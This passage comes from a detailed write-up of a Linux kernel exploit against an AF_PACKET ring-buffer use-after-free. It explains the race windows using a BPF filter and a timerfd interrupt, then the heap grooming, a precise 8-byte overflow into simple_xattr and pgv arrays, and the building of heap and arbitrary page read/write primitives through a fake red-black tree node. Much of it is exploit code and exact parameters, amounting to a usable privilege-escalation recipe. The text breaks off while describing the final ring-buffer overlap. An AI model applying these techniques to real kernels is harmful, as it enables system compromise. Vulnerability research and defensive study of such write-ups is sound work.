timerfd_settime(timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL);

When the timer fires on CPU 1, the kernel interrupt handler executes:

timerfd_tmrproc()
  → timerfd_triggered()
    → spin_lock_irqsave(&ctx->wqh.lock, flags)   // interrupts disabled!
    → wake_up_locked_poll()
      → __wake_up_common()                         // walks the waitqueue
        → list_for_each_entry_safe_from(...)       // 720,000 entries!
          → ep_poll_callback()                     // called for each entry
    → spin_unlock_irqrestore(...)

The __wake_up_common() function iterates through all 720,000 wait queue entries, calling ep_poll_callback() for each one. This entire loop runs inside spin_lock_irqsave — meaning interrupts are disabled and preemption is impossible. If tpacket_rcv() was executing on CPU 1 when the interrupt fired, it is completely frozen until the interrupt handler finishes walking the entire list. This takes hundreds of microseconds to milliseconds — more than enough time for packet_set_ring() on CPU 0 to free the ring buffer and for pg_vec_buffer_thread to reclaim it with a new ring buffer.

The exploit retries this entire sequence if the race is lost (detected by checking whether the overflow actually corrupted the target object). In practice, the combination of precise sleep timing, BPF filter delay, and the massive timer interrupt provides a high success rate.

Stage 1: Page Overflow Primitive (via xattr corruption)

After winning both races, the exploit needs to turn the UAF into something useful. This stage has three parts: reclaiming the freed ring buffer to prevent a kernel panic, arranging the heap so the reclaimed buffer is adjacent to a victim object, and engineering a precise overflow that corrupts exactly the right field.

Part 1: Reclaiming the freed pgv array

The key challenge is that free_pg_vec() zeroes out all buffer pointers in the pgv array after freeing it:

static void free_pg_vec(struct pgv *pg_vec, unsigned int order, unsigned int len)
{
    for (i = 0; i < len; i++) {
        if (pg_vec[i].buffer) {
            free_pages((unsigned long)pg_vec[i].buffer, order);
            pg_vec[i].buffer = NULL;  // zeroed!
        }
    }
    kfree(pg_vec);
}

If tpacket_rcv() reads a zeroed buffer pointer, it dereferences NULL and the kernel panics. The exploit must reclaim the freed pgv array — replace it in memory with a new pgv array containing valid buffer pointers — before tpacket_rcv() gets past the BPF filter, the timer interrupt and accesses it.

This is handled by pg_vec_buffer_thread, which runs on CPU 0 alongside packet_set_ring(). Immediately after packet_set_ring() frees the victim’s ring buffer, the same thread allocates a new TX ring buffer on a different packet socket:

// In pg_vec_buffer_thread_fn:
// Step 1: Free victim RX ring
setsockopt(victim_fd, SOL_PACKET, PACKET_RX_RING, &free_req, sizeof(free_req));
// Step 2: Immediately reclaim with a new TX ring
alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE);

The alloc_pages() function used throughout the exploit is a helper that allocates kernel pages by creating a TX ring buffer on a packet socket. It calls setsockopt(PACKET_TX_RING) with the specified block count and block size, which triggers packet_set_ring() → alloc_pg_vec() in the kernel — allocating both a pgv array and the requested number of page blocks. The corresponding free_pages() helper calls setsockopt(PACKET_TX_RING) with all-zero parameters, triggering the free path. This gives the exploit precise control over kernel page allocations and frees through a simple userspace API: each packet socket can hold one TX ring, and creating or destroying that ring allocates or frees pages of the exact size the exploit needs.

The reclamation ring has the same number of blocks as the victim (2 blocks — MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16 = 2) so the pgv array is the same size: kcalloc(2, sizeof(struct pgv)) = kcalloc(2, 8) = 16 bytes. The size match is essential because of the two heap mitigations.

CONFIG_RANDOM_KMALLOC_CACHES selects the slab cache by hashing the call site address — both pgv arrays are allocated by the same kcalloc() inside alloc_pg_vec(), so they hash to the same random cache. But this only works if they’re also in the same size class: if the reclamation used 4 blocks (32 bytes → kmalloc-32) instead of 2 blocks (16 bytes → kmalloc-16), it would go to a different slab cache entirely. CONFIG_SLAB_VIRTUAL enforces that each slab cache gets a dedicated virtual address range — a freed kmalloc-16 slot can only be reused by another kmalloc-16 allocation. Same call site + same size = guaranteed same slab cache = the new pgv array lands on the exact memory the old one occupied.

The following diagram shows the pgv array through its three states — before free, after free (zeroed, dangerous), and after reclamation (new blocks, smaller size). The stale pkc->pkbdq pointer references the same memory address throughout:

Before reclamation, the stale pointer would find NULLs and the kernel would crash. After reclamation it finds valid pointers — but to smaller 16 KB blocks instead of the original 32 KB blocks. This size mismatch is what enables the overflow: the stale kblk_size = 32768 makes tpacket_rcv() believe each block is 32 KB, but the actual blocks are only 16 KB, so writes beyond 16 KB spill into adjacent memory.

Part 2: Heap grooming for page layout

The exploit needs to achieve two things through heap grooming:

1. Force tpacket_rcv() to advance past block 0 to block 1. Block 0’s stale nxt_offset points into the old freed 32KB page — writing there would be uncontrolled. Block 1 gets a fresh nxt_offset via prb_open_block() that points into an actual reclaimed page.

2. Ensure block 1 of the reclamation ring is physically adjacent to a simple_xattr. The overflow from block 1 must spill into a victim object, not into random memory.

To force the block 1 path, the exploit needs curr > end in __packet_lookup_frame_in_block(). This means the stale nxt_offset (from old block 0) must be at a higher address than new_block_0 + 32768. To ensure adjacency, the reclamation ring’s blocks must land in a region densely packed with simple_xattr objects. The exploit achieves both through a carefully staged allocation sequence:

Phase 1: Drain the page allocator
──────────────────────────────────
Step 1: Allocate 1024 × 16KB pages (drains order-2 freelist)
Step 2: Allocate 1024 × 32KB pages (drains order-3 freelist)      ← "drain batch 1"
Step 3: Allocate 512 × 32KB pages (more order-3 drain)            ← "drain batch 2"

After draining, the order-2 and order-3 freelists are empty.
Any new allocation at these sizes must come from splitting higher-order pages.

Phase 2: Allocate the victim ring buffer
────────────────────────────────────────
Step 4: Configure victim socket → RX ring allocates 2 × 32KB blocks (order-3)

Since the order-3 freelist is empty, these blocks come from splitting
order-4 or higher pages → they land at HIGH virtual addresses.

Phase 3: Build the simple_xattr spray region
─────────────────────────────────────────────
Step 5: Free drain batch 1 (1024 × 32KB order-3 pages)

These pages return to the order-3 freelist at LOWER addresses
than the victim's blocks (they were allocated earlier, before draining
pushed the allocator to higher-order pages).

Step 6: Spray 2048 simple_xattr objects (each with 8KB value → order-2 page)

The order-2 freelist is still empty (drained in step 1, never freed).
So the buddy allocator splits the just-freed order-3 pages from step 5:
each 32KB page becomes two 16KB halves. The simple_xattr values fill
these halves, creating a dense region of order-2 pages at LOW addresses.

Step 7: Free sparse holes — every 128th xattr starting from index 512

    for (i = 512; i < 2048; i += 128)
        removexattr(simple_xattr_requests[i]);

This frees ~12 order-2 pages scattered among the simple_xattr objects,
returning them to the order-2 freelist. These holes are the landing
slots for the reclamation ring's blocks.

Phase 4: Trigger the race and reclaim
──────────────────────────────────────
Step 8: Win the race → packet_set_ring() frees the old ring buffer

The victim's 2 × 32KB blocks are freed back to the order-3 freelist.
They are at HIGH addresses. The pgv array (16 bytes) is freed to slab.

Step 9: pg_vec_buffer_thread immediately reclaims:
    alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE)

This allocates a new ring with 2 × 16KB blocks. The allocator needs
order-2 pages. The order-2 freelist has the sparse holes from step 7
(exact-size matches), so it serves from those FIRST — before considering
splitting the victim's freed order-3 pages. The reclamation blocks
land in the holes among the simple_xattr objects, at LOW addresses,
surrounded by simple_xattr objects on both sides.

The result is this memory layout:

Why block 0 can’t work, even if it were reclaimed. One might ask: couldn’t the victim’s freed order-3 blocks be buddy-split into order-2 halves, with one half adjacent to a simple_xattr? The answer is no — those blocks are at high addresses, far from the simple_xattr spray region. Even if the buddy allocator did split them, the two halves would be adjacent to each other (they’re buddy pairs), not to any simple_xattr. The exploit has no control over what’s physically next to the victim’s old pages.

By contrast, the reclamation blocks land in the carefully prepared holes among the simple_xattr spray, where adjacency is guaranteed. But the stale nxt_offset for block 0 still points to the victim’s old high-address region, not into these holes. So the exploit must force advancement to block 1.

The stale metadata. The TPACKET_V3 metadata (prb_bdqc) in the victim socket is not updated during the free — it still contains stale values from the original 32 KB ring:

pkc->pkbdq         → old pgv array address (now reclaimed with new pgv)
pkc->kblk_size     → 32768 (32 KB — the OLD block size)
pkc->knum_blocks   → 2
pkc->blk_sizeof_priv → 16248
pkc->kactive_blk_num → 0
pkc->nxt_offset    → old_block_0 + 16296 (HIGH address — stale)

When tpacket_rcv() accesses the ring buffer through __packet_lookup_frame_in_block():

pkc = &po->rx_ring.prb_bdqc;
pbd = pkc->pkbdq[pkc->kactive_blk_num].buffer;  // reads reclaimed pgv[0].buffer
                                                   // = new 16KB block (LOW address, in xattr region)
curr = pkc->nxt_offset;    // old_block_0 + 16296 (HIGH address — stale)
end = (char *)pbd + pkc->kblk_size;   // new_block_0 + 32768 (still LOW)

if (curr + ALIGN(len, 8) < end) {
    // packet fits in current block — write here
} else {
    prb_retire_current_block(pkc, po, 0);         // retire new_block_0
    curr = prb_dispatch_next_block(pkc, po);      // advance to new_block_1
    // ... write to new_block_1
}

Since curr (high address) > end (low address + 32KB), the “doesn’t fit” branch is always taken, and tpacket_rcv() advances to block 1 — which is in the groomed region, adjacent to a simple_xattr.

Part 3: The precision overflow

When tpacket_rcv() takes the “doesn’t fit” path, it calls prb_retire_current_block() then prb_dispatch_next_block(), which advances to block 1 and calls prb_open_block():

static void prb_open_block(struct tpacket_kbdq_core *pkc,
    struct tpacket_block_desc *pbd)
{
    pkc->pkblk_start = (char *)pbd;   // start of reclaimed block 1 (16 KB)
    pkc->nxt_offset = pkc->pkblk_start + BLK_PLUS_PRIV(pkc->blk_sizeof_priv);
    pkc->pkblk_end = pkc->pkblk_start + pkc->kblk_size;  // + 32KB (stale!)
}

The key computation: BLK_PLUS_PRIV(blk_sizeof_priv) = BLK_HDR_LEN + ALIGN(blk_sizeof_priv, 8) where BLK_HDR_LEN = ALIGN(sizeof(struct tpacket_block_desc), 8) = 48. With blk_sizeof_priv = 16248:

nxt_offset = reclaimed_block_1 + 48 + 16248 = reclaimed_block_1 + 16296

The actual block size is 16,384 bytes (16 KB = 4 pages). So nxt_offset is positioned 88 bytes before the end of the actual block. But pkblk_end is computed using the stale kblk_size = 32768, placing it 16 KB past the real end — so tpacket_rcv() believes there’s plenty of room.

Back in tpacket_rcv(), the function returns h.raw = nxt_offset and proceeds to write at several offsets from h.raw:

Non-controlled writes (kernel-generated headers):

• At h.raw + 0: the tpacket3_hdr structure (44 bytes of status, timestamps, lengths)

• At h.raw + 48: the sockaddr_ll structure (~20 bytes of link-layer address info)

These occupy offsets 0 through ~67 from h.raw, fitting within the 88 remaining bytes. They stay inside the block.

Controlled write (attacker’s packet data):

skb_copy_bits(skb, 0, h.raw + macoff, snaplen);

Where macoff is calculated as:

macoff = netoff - maclen;
netoff = TPACKET_ALIGN(po->tp_hdrlen + max(maclen, 16)) + po->tp_reserve;

The exploit controls two knobs in this calculation to land the write at an exact byte offset:

• tp_sizeof_priv (set via setsockopt(PACKET_RX_RING)) — controls where nxt_offset starts within the block. This is the coarse knob: the kernel rounds it up to 8 bytes (ALIGN(blk_sizeof_priv, 8)), so it can only position nxt_offset at 8-byte increments.

• tp_reserve (set via setsockopt(PACKET_RESERVE)) — adds padding between the TPACKET header and the packet data. This is the fine knob: it’s added without any rounding, giving byte-level precision.

Together they work like a vernier caliper. The exploit uses tp_sizeof_priv = 16248 and tp_reserve = 38, but any pair where ALIGN(tp_sizeof_priv, 8) + tp_reserve = 16286 works (e.g., 16280 + 6).

The write position within a block is nxt_offset + macoff:

• nxt_offset = 48 + ALIGN(tp_sizeof_priv, 8) = 48 + 16248 = 16296

• macoff = netoff - maclen, where netoff = TPACKET_ALIGN(tp_hdrlen + 16) + tp_reserve = TPACKET_ALIGN(68 + 16) + 38 = 96 + 38 = 134, and maclen = 14 (ETH_HLEN), so macoff = 120

• write position = 16296 + 120 = 16416 = 16384 + 32

The block is only 16,384 bytes, so the write lands 32 bytes past the block boundary into the adjacent page. The BPF filter truncates snaplen to sizeof(size_t) = 8 bytes, so the exploit writes exactly 8 bytes at that offset.

The following diagram shows the full structure from the packet socket down to the per-block memory layout, including both positioning knobs (blk_sizeof_priv and tp_reserve):

What lives at the overflow offset?

The exploit sprays 2,048 simple_xattr kernel objects adjacent to the reclamation blocks. Each xattr is allocated with value_size = 8192, making the total allocation (header + 8,192 bytes) served from order-2 pages (16 KB).

The overflow lands exactly on the size field of the adjacent simple_xattr. This is not a coincidence — tp_sizeof_priv (16,248) positions nxt_offset at 16,296, and tp_reserve (38) is chosen so that nxt_offset + macoff = 16,416 = 16,384 + 32, landing precisely at the size field’s offset within the simple_xattr struct.

The packet data is crafted with XATTR_SIZE_MAX (65,536) as the first 8 bytes:

u8 packet_data[128] = {};
*(size_t *)(packet_data) = XATTR_SIZE_MAX;  // 65536

After the overflow, one of the 2,048 simple_xattr objects has its size field changed from 8,192 to 65,536.

Creating the holes for adjacency

The simple_xattr spray is arranged to maximize the probability that one ends up immediately after reclamation block 1:

Step 5: Free drain_pages_order3_1 — returns 1024 × 32KB pages to the freelist

Step 6: Spray 2,048 simple_xattr objects — each needs 16KB (order-2) pages

Since the order-2 freelist was drained in step 1, the buddy allocator splits the freed order-3 pages: each 32 KB page becomes two 16 KB halves. The spray consumes these halves, filling the address range previously occupied by drain_pages_order3_1.

Before triggering the race, the exploit frees some xattrs at regular intervals to create holes:

for (int i = 512; i < 2048; i += 128) {
    removexattr(filepath, name_i);  // creates a 16KB hole every 128 objects
}

The reclamation ring’s block 1 (16 KB) lands in one of these holes. Since the holes are periodic and the surrounding slots are occupied by simple_xattr objects, the page immediately after block 1 is very likely to contain a simple_xattr.

Detecting the corruption

The exploit scans all sprayed xattrs to find the corrupted one:

for (int i = 0; i < 2048; i++) {
    ssize_t ret = getxattr(filepath, name_i, value, 8192);
    if (ret < 0 && errno == ERANGE) {
        // Found it! size was changed from 8192 to 65536
        overflowed_xattr = i;
    }
}

Normally, getxattr() with a buffer of 8,192 bytes succeeds because xattr->size == 8192. But for the corrupted xattr, xattr->size == 65536 > 8192, so the kernel returns ERANGE (”buffer too small”). This is the signal.

Building the heap read primitive

Now the exploit has a heap read primitive: calling getxattr() with a 65,536-byte buffer on the corrupted xattr reads 65,536 bytes starting from the xattr’s value field. Since the xattr’s actual data is only 8,192 bytes but the kernel thinks size is 65,536, it copies 65,536 bytes — leaking ~57 KB of adjacent kernel heap memory.

The exploit uses this to find another simple_xattr in the leaked data, identifying it by pattern-matching the rb_node pointers (must be valid kernel addresses or NULL), the name pointer (must be a kernel address), the size field (must equal 8,192), and the value content (must match the known spray pattern like “pages_order2_groom_42”). This second xattr is called leaked_content_simple_xattr.

Next, the exploit removes all other xattrs — it loops through all 2,048 sprayed entries and calls removexattr() on every one except the corrupted xattr and the leaked one. This reduces the inode’s red-black tree from ~2,048 nodes to exactly two. In a two-node tree, one node is the root and the other is its child — so the leaked xattr’s rb_node pointers (parent, left, right) must reference the corrupted xattr, since there is no other node they could point to. With 2,048 nodes, the leaked xattr’s tree neighbors could be any of the other sprayed xattrs, and finding the corrupted one among them would be unreliable. The cleanup step eliminates this ambiguity.

Now the exploit calls getxattr() a second time on the corrupted xattr with a 65,536-byte buffer. This works the same way as the first read: the kernel copies 65,536 bytes starting from the corrupted xattr’s value[] field, spilling past its actual 8,192 bytes of data into adjacent heap memory. The leaked xattr lives on a nearby order-2 page (the first read already identified which page offset it sits at), so its rb_node pointers appear at a known position within the 65KB dump.

The key difference from the first read: the tree has been pruned to two nodes. The kernel reorganized the red-black tree as it removed the other ~2,046 xattrs, updating the remaining nodes’ pointers along the way. In the resulting two-node tree, the leaked xattr’s rb_node.__rb_parent_color points to its parent (the corrupted xattr, if the corrupted xattr is the root) or its rb_left/rb_right points to the corrupted xattr (if the leaked xattr is the root). Either way, one of the three rb_node pointers contains the corrupted xattr’s kernel address:

u64 parent = (u64)(__rb_parent(leaked_simple_xattr->rb_node.__rb_parent_color));
u64 left   = (u64)(leaked_simple_xattr->rb_node.rb_left);
u64 right  = (u64)(leaked_simple_xattr->rb_node.rb_right);
overflowed_simple_xattr_kernel_address = parent ? parent : (left ? left : right);

From the corrupted xattr’s address and the known offset between the two xattrs in the leak data (each xattr occupies one order-2 page, so the offset is page_index × 16384), the exploit calculates the kernel address of leaked_content_simple_xattr itself. These two addresses are the foundation for Stage 2.

Stage 2: Heap Read/Write via pgv Overlap

Stage 1 gave us two things: a heap read primitive (through the corrupted xattr with size = 65536) and the kernel addresses of two simple_xattr objects. But the heap read only works through getxattr() — a one-directional, read-only channel. To build a full read/write primitive, the exploit triggers the race a second time, this time overflowing into a pgv array to gain direct memory-mapped access to a simple_xattr in kernel memory.

The target: pgv arrays instead of xattrs

The key idea: if the overflow writes a kernel address into a pgv[N].buffer entry of some ring buffer, then mmap()’ing that ring buffer maps pgv[N].buffer into userspace. If pgv[N].buffer points to a simple_xattr object, the attacker gets a direct userspace pointer to live kernel data — readable and writable without any syscall.

The exploit creates 256 packet sockets and gives each one a TX ring buffer whose pgv array is large enough to be allocated from order-2 pages (16 KB). The size is chosen by setting the block count to MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2:

#define MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2  ((KMALLOC_8K_SIZE / sizeof(struct pgv)) + 1)

// = (8192 / 8) + 1 = 1025

Each ring buffer block is tracked by one struct pgv (a single 8-byte pointer), so 1,025 blocks means a pgv array of 1025 × 8 = 8,200 bytes. This goes through kcalloc(1025, sizeof(struct pgv)) inside alloc_pg_vec(). The number 1,025 is deliberately one more than 1,024: with exactly 1,024 blocks, the array would be 8,192 bytes, which fits inside the kmalloc-8k slab bucket — and slab allocations don’t participate in page-level grooming. By requesting 1,025 blocks (8,200 bytes), the allocation exceeds the kmalloc-8k limit and falls through to the page allocator, which serves it from order-2 pages (16 KB). This is essential because the pgv arrays must land on order-2 pages to match the size of the holes created during heap grooming. Order-3 pages would also work but would waste twice as much memory.

Heap grooming

The grooming follows the same pattern as Stage 1, with reduced allocation counts (since memory is limited):

Step 1: Drain order-2 freelist — 256 × 16 KB pages
Step 2: Drain order-3 freelist — 128 × 32 KB pages (drain_pages_order3_1)
Step 3: More order-3 drain — 128 × 32 KB pages (drain_pages_order3_2)
Step 4: Configure victim socket — RX ring allocates 2 × 32 KB blocks (high addresses)
Step 5: Free drain_pages_order3_1 — returns 128 × 32 KB pages
Step 6: Spray 256 pgv arrays — each 8,200 bytes, served from order-2 pages
         (buddy allocator splits the freed order-3 pages into order-2 halves)
Step 7: Free some pgv arrays to create holes for reclamation

The hole creation is sparse — 6 holes every 16 entries starting at index 64:

for (int i = 64, free_count = 0;
     i < 256 && free_count < 6;
     i += 16, free_count++) {
    free_pages(spray_pg_vec_packet_sockets[i]);
}

The reclamation buffer (from the second race trigger) will land in one of these holes, with sprayed pgv arrays on both sides.

Triggering the second race

The exploit runs the same two-race sequence as Stage 1 — identical victim socket configuration, same mutex-barrier technique for race 1, same BPF filter + timer interrupt for race 2 — but with one difference: the packet data now contains leaked_content_simple_xattr_kernel_address (obtained from Stage 1) instead of XATTR_SIZE_MAX:

u8 packet_data[128] = {};
*(u64 *)(packet_data) = simple_xattr_kernel_address;

The overflow arithmetic is identical: the 8-byte write lands at offset 24 past the reclamation block boundary, which is the 4th entry (index 3) of the adjacent pgv array — because 24 / sizeof(struct pgv) = 24 / 8 = 3.

So after the overflow:

adjacent_pgv[3].buffer = leaked_content_simple_xattr_kernel_address.

Detecting the overflow

The exploit iterates through all 256 sprayed ring buffers, mmap()s each one, and checks whether the data at block 3 (offset 3 × PAGE_SIZE) looks like a simple_xattr:

for (int i = 0; i < 256 && !overflow_success; i++) {
    void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
                     spray_pg_vec_packet_sockets[i], 0);

    struct simple_xattr *simple_xattr = mem + 3 * PAGE_SIZE;
    if (is_data_look_like_simple_xattr(simple_xattr, KMALLOC_8K_SIZE)) {
        overflowed_pg_vec_packet_socket = spray_pg_vec_packet_sockets[i];
        overflow_success = true;
    }
    munmap(mem, mmap_size);
}

The recognition heuristic checks that the rb_node pointers are valid kernel addresses (using __rb_parent() to mask the color bit), that name is a valid kernel address, and that size == 8192.

When a match is found, the exploit saves this socket as overflowed_pg_vec_packet_socket and closes all the other sprayed sockets to reclaim memory.

The resulting primitive

From this point, the exploit can access the leaked_content_simple_xattr kernel object at will:

void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
                 overflowed_pg_vec_packet_socket, 0);
struct simple_xattr *manipulated_simple_xattr = mem + 3 * PAGE_SIZE;
// Now manipulated_simple_xattr points directly to live kernel memory

This gives the exploit three capabilities through the “manipulated simple_xattr”:

1. Leak kernel addresses. The rb_node pointers in the simple_xattr point to other xattr objects in the same inode’s red-black tree. When the exploit creates a new xattr via setxattr(), the kernel inserts it into the tree and updates the existing nodes’ child pointers. The exploit reads rb_node.rb_right or rb_node.rb_left to discover the new xattr’s kernel address. This is used repeatedly in Stage 3 to locate freshly allocated pages.

2. Redirect the name pointer (page reclamation oracle). The exploit can overwrite manipulated_simple_xattr->name to point to any kernel address. This turns getxattr() into a boolean oracle for validating page reclamation. In Stage 3, the exploit repeatedly frees pages and tries to reclaim them with ring buffer blocks — but it needs to confirm each reclamation succeeded (some other kernel subsystem might have grabbed the page first). The technique works as follows: (1) reclaim the freed page via a ring buffer block and mmap it, (2) write a known string like “security.fake_simple_xattr_name” into the page, (3) overwrite manipulated_simple_xattr->name to point at that page’s kernel address, (4) call getxattr(filepath, “security.fake_simple_xattr_name”, ...). The kernel traverses the xattr tree, finds the manipulated xattr, dereferences its name pointer, and does strcmp() against the requested name. If the reclamation worked, the page contains the string the exploit wrote, strcmp() matches, and getxattr() succeeds — confirming the page is under the exploit’s control. If something else grabbed the page, strcmp() fails and the exploit knows to retry. The original name pointer is restored immediately after each check.

3. Link fake objects into the xattr collection. The exploit modifies rb_node.rb_right or rb_node.rb_left to graft a fake simple_xattr node into the red-black tree (setting the fake node’s __rb_parent_color to point back to the manipulated xattr as its parent). When removexattr() is later called on the fake xattr, the kernel frees the page at the fake object’s address — giving the exploit a targeted page free primitive. This is the key mechanism for Stage 3’s double-overlapping ring buffer construction.

Stage 3: Arbitrary Page Read/Write via pgv Overlap

Stage 2’s primitive lets the exploit read and write the fields of a single simple_xattr in kernel memory. That’s powerful, but limited — the exploit can only access one object at a fixed address. To read or write any kernel page, the exploit constructs a more general primitive: two ring buffers arranged so that one can overwrite the other’s pgv array entries, redirecting them to any page-aligned kernel address.

The construction has three parts: leaking two page addresses, building and linking a fake xattr that spans both pages, then freeing the fake xattr to create the overlap.

Part 1: Cleaning up

First, the exploit destroys the overflowed_simple_xattr from Stage 1 (the one whose size was corrupted to 65,536). It’s no longer needed — the heap read primitive it provided has been superseded by Stage 2’s direct memory access. After removal, the inode’s xattr collection contains only the leaked_content_simple_xattr, which is the object the exploit controls through the mmap’d ring buffer (the “manipulated simple_xattr”).

The exploit saves the original values of the manipulated xattr’s rb_node pointers and name so it can restore them later — the kernel’s xattr traversal code will crash if these pointers are left dangling.

Part 2: Leaking page addresses via allocate-read-free

The exploit needs two order-2 page addresses. It obtains each one through the same three-step pattern:

Step 1: Allocate a temporary xattr. Call setxattr() on the tmpfs file to create a new simple_xattr with value_size = 8192 (order-2 pages). The kernel links it into the xattr collection, updating the manipulated xattr’s node pointers.

Step 2: Read the address. Since the exploit has the manipulated simple_xattr mmap’d, it can immediately read the updated rb_node pointer to get the new xattr’s kernel address. The red-black tree may insert the new node as either a right or left child depending on the key comparison, so the exploit checks both:

setxattr(filepath, "security.leak_for_name", value, KMALLOC_8K_SIZE, XATTR_CREATE);
if (manipulated_simple_xattr->rb_node.rb_right)
    fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr->rb_node.rb_right;
else
    fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr->rb_node.rb_left;

Step 3: Free it. Call removexattr() to free the temporary xattr. Its page goes back to the order-2 freelist.

The exploit repeats this pattern twice, obtaining two addresses:

• fake_simple_xattr_name_addr — will hold the fake xattr’s name string

• fake_simple_xattr_addr — will hold the fake xattr structure itself

Part 3: Reclaiming the freed pages with ring buffer blocks

After each address is leaked and the temporary xattr freed, the exploit immediately reclaims the freed page with a ring buffer block:

// Reclaim the freed page with a 1-block, order-2 ring buffer
alloc_pages(fake_simple_xattr_name_packet_socket, 1, PAGES_ORDER2_SIZE);

Now the exploit can mmap() this ring buffer to read/write the page at fake_simple_xattr_name_addr. It writes the fake name string into it:

void *mem = mmap(NULL, PAGES_ORDER2_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
                 fake_simple_xattr_name_packet_socket, 0);
strcpy(mem, "security.fake_simple_xattr_name");
munmap(mem, PAGES_ORDER2_SIZE);

But how does the exploit know the reclamation succeeded? The freed page might have been reused by something else entirely. The exploit writes to the reclaimed page through the newly allocated ring buffer (via mmap), but reads through the leaked address (via getxattr). If the read returns what was written, the ring buffer must have landed on the same page the leaked address points to:

// Now read through the leaked address: redirect the manipulated xattr's
// name pointer to fake_simple_xattr_name_addr (obtained from Part 2)
manipulated_simple_xattr->name = (char *)fake_simple_xattr_name_addr;

// Ask the kernel to look up this xattr by name — the kernel will follow
// the redirected name pointer and strcmp() it against the lookup key
ssize_t ret = getxattr(filepath, "security.fake_simple_xattr_name",
                       value, manipulated_simple_xattr->size);

// Restore original name pointer
manipulated_simple_xattr->name = (char *)original_name_pointer;

if (ret == manipulated_simple_xattr->size) {
    // Success! The kernel read from the leaked address and found the string
    // we wrote via the ring buffer. The two refer to the same physical page.

If getxattr() succeeds, the ring buffer block and the leaked address map to the same page — the exploit now controls that page’s contents. If it fails, the exploit frees the ring buffer and retries.

The same process is repeated for fake_simple_xattr_addr, using a second packet socket (fake_simple_xattr_packet_socket).

Part 4: Building and linking the fake xattr

With both pages reclaimed and validated, the exploit writes a fake simple_xattr structure into the page at fake_simple_xattr_addr:

struct simple_xattr *fake_simple_xattr = mem;
fake_simple_xattr->rb_node.__rb_parent_color = leaked_content_simple_xattr_kernel_address;
fake_simple_xattr->name = (void *)fake_simple_xattr_name_addr;
fake_simple_xattr->size = KMALLOC_8K_SIZE;

The fake xattr’s __rb_parent_color is set to the kernel address of the manipulated xattr (the leaked_content_simple_xattr from Stage 1). This is because the red-black tree removal algorithm needs to find the parent node. The rb_right and rb_left fields are left as NULL (zeroed by memset), indicating this is a leaf node — simplifying the tree removal path. The name pointer points to fake_simple_xattr_name_addr (where the string “security.fake_simple_xattr_name” lives) and size is set to 8,192 bytes.

Now the exploit links this fake xattr into the inode’s red-black tree by modifying the manipulated xattr:

if (is_right_node)
    manipulated_simple_xattr->rb_node.rb_right = (void *)fake_simple_xattr_addr;
else
    manipulated_simple_xattr->rb_node.rb_left = (void *)fake_simple_xattr_addr;

The is_right_node variable tracks which child pointer was used when the temporary xattr was originally inserted (from Part 2’s second leak). The exploit reuses the same child slot, ensuring the tree structure remains consistent.

The kernel now considers this a real xattr in the collection.

Part 5: Creating the pgv overlap

Here is where the exploit reaches its goal. The exploit calls:

removexattr(filepath, “security.fake_simple_xattr_name”);

The kernel finds the fake xattr, unlinks it from the red-black tree, and frees both allocations separately:

// Kernel’s simple_xattr removal path:
kfree(xattr->name);   // frees Page A (fake_simple_xattr_name_addr)
kvfree(xattr);         // frees Page B (fake_simple_xattr_addr)

Both pages return to the order-2 freelist. But the two ring buffers that previously reclaimed these pages still have their pgv[0].buffer pointing at them — the pointers were never updated:

fake_simple_xattr_name_packet_socket → pgv[0].buffer = Page A (now freed)
fake_simple_xattr_packet_socket      → pgv[0].buffer = Page B (now freed)
Order-2 freelist: [Page A, Page B]

These are dangling pointers — an intentional use-after-free. Immediately after the free, the exploit allocates a third ring buffer:

alloc_pages(overwritten_pg_vec_packet_socket,
            MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2,  // 1025 blocks
            PAGE_SIZE);

This ring buffer has 1,025 blocks, so its pgv array is 1025 × 8 = 8,200 bytes — allocated via kcalloc() in alloc_pg_vec(), rounded up to kmalloc-8k, and served from order-2 pages (the same page order as the just-freed fake xattr pages). With two order-2 pages just freed, the page allocator grabs one of them for the pgv array — say Page A:

fake_simple_xattr_name_packet_socket → pgv[0].buffer = Page A ← STILL POINTS HERE
fake_simple_xattr_packet_socket      → pgv[0].buffer = Page B (still freed)
overwritten_pg_vec_packet_socket     → pgv array lives on Page A

Page A is now simultaneously block 0 of fake_simple_xattr_name_packet_socket (stale dangling pointer) and the pgv array of the third ring buffer (new allocation). When the exploit mmaps fake_simple_xattr_name_packet_socket, the kernel looks up pgv[0].buffer, finds Page A, and maps it into userspace — but Page A now contains the third ring buffer’s pgv entries. That’s the pgv overlap.

The exploit doesn’t know in advance which page the allocator will pick, so it mmaps both dangling ring buffers and checks which one contains data that looks like a pgv array (consecutive kernel pointers):

void *mem  = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_name_packet_socket, 0);
void *mem1 = mmap(NULL, PAGES_ORDER2_SIZE, ..., fake_simple_xattr_packet_socket, 0);

if (mem != MAP_FAILED && is_data_look_like_pgv(mem, 1025)) {
    packet_socket_to_overwrite_pg_vec = fake_simple_xattr_name_packet_socket;
} else if (mem1 != MAP_FAILED && is_data_look_like_pgv(mem1, 1025)) {
    packet_socket_to_overwrite_pg_vec = fake_simple_xattr_packet_socket;
}

packet_socket_with_overwritten_pg_vec = overwritten_pg_vec_packet_socket;

The is_data_look_like_pgv() function checks that each entry has a valid kernel address (upper 16 bits = 0xFFFF), which matches a pgv array filled with allocated block pointers. Whichever dangling ring buffer’s mmap reveals pgv entries is the one whose page was reclaimed — it becomes the “master.”

The resulting primitive

The exploit now has two ring buffers in a master-puppet relationship:

• packet_socket_to_overwrite_pg_vec (the “master”): Its ring buffer block overlaps the puppet’s pgv array. Mmapping it exposes the raw pgv entries as writable memory.

